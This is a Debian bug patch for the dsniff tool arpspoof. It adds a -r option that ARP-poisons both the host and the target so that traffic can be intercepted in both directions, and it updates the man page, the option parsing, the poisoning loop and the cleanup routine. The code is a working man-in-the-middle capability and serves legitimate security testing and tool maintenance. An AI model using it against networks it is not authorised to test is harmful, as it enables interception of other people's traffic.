Debian bug #650749 arpspoof: add -r switch to poison both directions diff --git a/arpspoof.8 b/arpspoof.8 index a05b5d3..544e06c 100644 --- a/arpspoof.8 +++ b/arpspoof.8 @@ -9,7 +9,7 @@ intercept packets on a switched LAN .na .nf .fi -\fBarpspoof\fR [\fB-i \fIinterface\fR] [\fB-t \fItarget\fR] \fIhost\fR +\fBarpspoof\fR [\fB\-i \fIinterface\fR] [\fB\-t \fItarget\fR] [\fB\-r\fR] \fIhost\fR .SH DESCRIPTION .ad .fi @@ -26,6 +26,9 @@ Specify the interface to use. .IP "\fB-t \fItarget\fR" Specify a particular host to ARP poison (if not specified, all hosts on the LAN). +.IP "\fB\-r\fR" +Poison both hosts (host and target) to capture traffic in both directions. +(only valid in conjuntion with \-t) .IP \fIhost\fR Specify the host you wish to intercept packets for (usually the local gateway). diff --git a/arpspoof.c b/arpspoof.c index 7cdbbf8..f51b699 100644 --- a/arpspoof.c +++ b/arpspoof.c @@ -7,6 +7,8 @@ * Copyright (c) 1999 Dug Song * * $Id: arpspoof.c,v 1.5 2001/03/15 08:32:58 dugsong Exp $ + * + * Improved 2011 by Stefan Tomanek */ #include "config.h" @@ -31,12 +33,13 @@ static libnet_t *l; static struct ether_addr spoof_mac, target_mac; static in_addr_t spoof_ip, target_ip; static char *intf; +static int poison_reverse; static void usage(void) { fprintf(stderr, "Version: " VERSION "\n" - "Usage: arpspoof [-i interface] [-t target] host\n"); + "Usage: arpspoof [-i interface] [-t target] [-r] host\n"); exit(1); } @@ -133,18 +136,30 @@ arp_find(in_addr_t ip, struct ether_addr *mac) static void cleanup(int sig) { + int fw = arp_find(spoof_ip, &spoof_mac); + int bw = poison_reverse && target_ip && arp_find(target_ip, &target_mac); int i; - - if (arp_find(spoof_ip, &spoof_mac)) { - for (i = 0; i < 3; i++) { - /* XXX - on BSD, requires ETHERSPOOF kernel. */ + + fprintf(stderr, "Cleaning up and re-arping targets...\n"); + for (i = 0; i < 5; i++) { + /* XXX - on BSD, requires ETHERSPOOF kernel. */ + if (fw) { arp_send(l, ARPOP_REPLY, (u_int8_t *)&spoof_mac, spoof_ip, (target_ip ? (u_int8_t *)&target_mac : NULL), target_ip); + /* we have to wait a moment before sending the next packet */ + sleep(1); + } + if (bw) { + arp_send(l, ARPOP_REPLY, + (u_int8_t *)&target_mac, target_ip, + (u_int8_t *)&spoof_mac, + spoof_ip); sleep(1); } } + exit(0); } @@ -156,11 +171,12 @@ main(int argc, char *argv[]) char pcap_ebuf[PCAP_ERRBUF_SIZE]; char libnet_ebuf[LIBNET_ERRBUF_SIZE]; int c; - + intf = NULL; spoof_ip = target_ip = 0; - - while ((c = getopt(argc, argv, "i:t:h?V")) != -1) { + poison_reverse = 0; + + while ((c = getopt(argc, argv, "ri:t:h?V")) != -1) { switch (c) { case 'i': intf = optarg; @@ -169,6 +185,9 @@ main(int argc, char *argv[]) if ((target_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) usage(); break; + case 'r': + poison_reverse = 1; + break; default: usage(); } @@ -178,7 +197,12 @@ main(int argc, char *argv[]) if (argc != 1) usage(); - + + if (poison_reverse && !target_ip) { + errx(1, "Spoofing the reverse path (-r) is only available when specifying a target (-t)."); + usage(); + } + if ((spoof_ip = libnet_name2addr4(l, argv[0], LIBNET_RESOLVE)) == -1) usage(); @@ -191,18 +215,29 @@ main(int argc, char *argv[]) if (target_ip != 0 && !arp_find(target_ip, &target_mac)) errx(1, "couldn't arp for host %s", libnet_addr2name4(target_ip, LIBNET_DONT_RESOLVE)); - + + if (poison_reverse) { + if (!arp_find(spoof_ip, &spoof_mac)) { + errx(1, "couldn't arp for spoof host %s", + libnet_addr2name4(spoof_ip, LIBNET_DONT_RESOLVE)); + } + } + signal(SIGHUP, cleanup); signal(SIGINT, cleanup); signal(SIGTERM, cleanup); - + for (;;) { arp_send(l, ARPOP_REPLY, NULL, spoof_ip, (target_ip ? (u_int8_t *)&target_mac : NULL), target_ip); + if (poison_reverse) { + arp_send(l, ARPOP_REPLY, NULL, target_ip, (uint8_t *)&spoof_mac, spoof_ip); + } + sleep(2); } /* NOTREACHED */ - + exit(0); } -- 1.7.5.4